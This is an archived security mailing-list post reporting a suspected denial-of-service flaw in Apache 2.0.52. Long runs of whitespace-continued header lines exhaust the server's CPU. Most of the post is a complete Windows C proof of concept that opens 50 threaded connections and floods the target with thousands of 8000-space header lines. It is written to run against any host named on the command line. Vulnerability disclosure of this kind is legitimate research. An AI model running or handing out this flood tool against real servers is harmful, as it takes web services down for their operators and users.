lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <a62f45480411010157571febcc@mail.gmail.com>
From: chesschintan at gmail.com (Chintan Trivedi)
Subject: DoS in Apache 2.0.52 ?

Hi,

      I was doing some testing on Apache webserver ver 2.0.52 (unix) and
previous versions. Just found that a special type of request consumes
lot of CPU usage and hangs the webserver. It even hangs other services
like ssh, ftp ..

For Apache 2.0.52 a request like
GET / HTTP/1.0\n
[space] x 8000\n
[space] x 8000\n
[space] x 8000\n
.
.
8000 times

consumes a lot of cpu.

I created 25 threads (connections) and send the above request to one
webserver. After just 2-3 minutes of flooding, the server wasnt able
to fulfill any http requests.  Even ssh and such other services well
also hanged up. The time required for the attack was just maximum 5
minutes. 

I am not sure whether it is a valid DoS or not. Replacing the <space>
with any other char will break the connection just after a few
lines(130 or so) of header. Checking the
httpd-2.0.52/server/protocol.c file i see the code for the mime
headers. It checks for the first char of the header. If it is a "space" it
considers it as an extension to the previous line header.  The problem
seems to be similar to the advisory published by Guninsky few weeks
ago -> http://www.guninski.com/httpd1.html thought its a bit
different.  That fix was for the long request field header when the
header line is extended in the next line using space.

Well i guess 8K limit for the number of headers filled with spaces is
quite huge. Its enuf to DoS the server using a few threads.

You can check the attached C file to test it. The file is compiled on
windows system using VC++ 6.0.

-----------------POC----------------------------
///   Apache 2.0.52 and earlier  DoS  

#include "stdafx.h"
#include "winsock.h"
#include "string.h"
#include "stdio.h"
#include "windows.h"
#pragma comment(lib,"ws2_32")

DWORD WINAPI attack(LPVOID);
char target[256];

int main(int argc, char* argv[])
{
       int l=0;
       int j;
       DWORD dw;
       HANDLE hd;
       if(argc<2)
       {
               printf("usage: %s target", argv[0]);
               exit(0);
       }

       strncpy(target, argv[1], 256);
       printf("Attaching %s ...\n", target);
       for(j=0;j<50;j++)
               hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);

       for(j=0;j<50;j++)
               WaitForSingleObject(hd, INFINITE);

       printf ("done");
       return 0;
}

DWORD WINAPI attack(LPVOID l)
{
       int                             s;
       SOCKADDR_IN             sck;
       HOSTENT                 *host;
       char                    buff[256];
       char                    space[8000];
       int                             i;

       WSADATA                 wsadata;

       WSAStartup(MAKEWORD(1,1),&wsadata);

       memset(space, ' ', 8000);
       space[7998]='\n';
       space[7999]='\0';

       if((host=gethostbyname(target))==NULL)
       {
               printf("Host not found");
               return -1;
       }
       sck.sin_family = PF_INET;
       memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
       sck.sin_port = htons(80);

       if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
       {
               printf("Socket couldn't be initiallized");
               return -1;
       }
       if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
       {
               printf("Couldn't connect");
               return -1;
       }

       sprintf(buff, "GET / HTTP/1.0\n");
       //printf("%s",buff);
       int len=strlen(buff);

       if((send(s,buff,len,0))==-1)
       {
               printf ("send error");
               closesocket(s);
               return -1;
       }

       for(i=0;i<9999;i++)
       {

               if((send(s,space,strlen(space),0))==-1)
               {
                       printf("Send Error on header number %d", i);
                       closesocket(s);
                       return -1;
               }

       }
       closesocket(s);
       return 0;
}
------------------------------------------------


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ